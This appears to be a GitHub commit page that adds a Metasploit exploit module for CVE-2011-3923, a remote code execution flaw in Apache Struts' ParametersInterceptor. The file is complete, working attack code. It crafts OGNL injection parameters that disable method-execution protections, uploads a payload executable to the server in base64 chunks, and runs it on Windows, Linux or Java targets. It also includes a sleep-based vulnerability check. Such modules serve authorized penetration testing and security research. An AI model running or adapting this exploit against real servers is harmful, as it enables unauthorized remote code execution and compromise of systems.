Skip to content

Commit 50c6a98

Browse files
author
jvazquez-r7
committed
Merge branch 'struts-param-rce' of https://github.com/Console/metasploit-framework into Console-struts-param-rce
2 parents d0bd23f + cbccda1 commit 50c6a98

File tree

1 file changed

+164
-0
lines changed

1 file changed

+164
-0
lines changed
Lines changed: 164 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,164 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::EXE
15+
include Msf::Exploit::FileDropper
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'Apache Struts ParametersInterceptor Remote Code Execution',
20+
'Description' => %q{
21+
This module exploits a remote command execution vulnerability in
22+
Apache Struts versions < 2.3.1.2. This issue is caused because the
23+
ParametersInterceptor allows for the use of parentheses which in turn allows it to interpret
24+
parameter values as OGNL expressions during certain exception handling for mismatched
25+
data types of properties which allows remote attackers to execute arbitrary Java code
26+
via a crafted parameter.
27+
},
28+
'Author' =>
29+
[
30+
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
31+
'Meder Kydyraliev', # Vulnerability Discovery and PoC
32+
'mihi', #ARCH_JAVA support
33+
],
34+
'License' => MSF_LICENSE,
35+
'References' =>
36+
[
37+
[ 'CVE', '2011-3923'],
38+
[ 'OSVDB', '78501'],
39+
[ 'URL', 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html'],
40+
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-009']
41+
],
42+
'Platform' => [ 'win', 'linux', 'java'],
43+
'Privileged' => true,
44+
'Targets' =>
45+
[
46+
['Windows Universal',
47+
{
48+
'Arch' => ARCH_X86,
49+
'Platform' => 'windows'
50+
}
51+
],
52+
['Linux Universal',
53+
{
54+
'Arch' => ARCH_X86,
55+
'Platform' => 'linux'
56+
}
57+
],
58+
[ 'Java Universal',
59+
{
60+
'Arch' => ARCH_JAVA,
61+
'Platform' => 'java'
62+
},
63+
]
64+
],
65+
'DisclosureDate' => 'Oct 01 2011',
66+
'DefaultTarget' => 2))
67+
68+
register_options(
69+
[
70+
Opt::RPORT(8080),
71+
OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]),
72+
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"])
73+
], self.class)
74+
end
75+
76+
def execute_command(cmd, opts = {})
77+
inject = "PARAMETERTOKEN=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=+new+java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
78+
inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true"
79+
inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['PARAMETER']))
80+
inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd))
81+
uri = String.new(datastore['TARGETURI'])
82+
uri = normalize_uri(uri)
83+
uri.gsub!(/INJECT/,inject) # append the injection string
84+
resp = send_request_cgi({
85+
'uri' => uri,
86+
'version' => '1.1',
87+
'method' => 'GET',
88+
})
89+
return resp #Used for check function.
90+
end
91+
92+
def exploit
93+
#Set up generic values.
94+
@payload_exe = rand_text_alphanumeric(4+rand(4))
95+
pl_exe = generate_payload_exe
96+
append = 'false'
97+
#Now arch specific...
98+
case target['Platform']
99+
when 'linux'
100+
@payload_exe = "/tmp/#{@payload_exe}"
101+
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
102+
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
103+
when 'java'
104+
@payload_exe << ".jar"
105+
pl_exe = payload.encoded_jar.pack
106+
exec_cmd = ""
107+
exec_cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
108+
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
109+
exec_cmd << "#[email protected]@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
110+
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
111+
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
112+
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
113+
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
114+
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
115+
when 'windows'
116+
@payload_exe = "./#{@payload_exe}.exe"
117+
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
118+
else
119+
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
120+
end
121+
122+
#Now with all the arch specific stuff set, perform the upload.
123+
#109 = length of command string plus the max length of append.
124+
sub_from_chunk = 109 + @payload_exe.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length
125+
chunk_length = 2048 - sub_from_chunk
126+
chunk_length = ((chunk_length/4).floor)*3
127+
while pl_exe.length > chunk_length
128+
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
129+
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
130+
append = true
131+
end
132+
java_upload_part(pl_exe,@payload_exe,append)
133+
execute_command(chmod_cmd) if target['Platform'] == 'linux'
134+
execute_command(exec_cmd)
135+
register_files_for_cleanup(@payload_exe)
136+
end
137+
138+
def java_upload_part(part, filename, append = 'false')
139+
cmd = ""
140+
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
141+
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
142+
cmd << "#f.close()"
143+
execute_command(cmd)
144+
end
145+
146+
def check
147+
check_cmd = "@java.lang.Thread@sleep(10000)"
148+
t1 = Time.now
149+
print_status("Asking remote server to sleep for 10 seconds")
150+
response = execute_command(check_cmd)
151+
t2 = Time.now
152+
delta = t2 - t1
153+
154+
155+
if response.nil?
156+
return Exploit::CheckCode::Safe
157+
elsif delta < 10
158+
return Exploit::CheckCode::Safe
159+
else
160+
return Exploit::CheckCode::Appears
161+
end
162+
end
163+
164+
end

0 commit comments

Comments
 (0)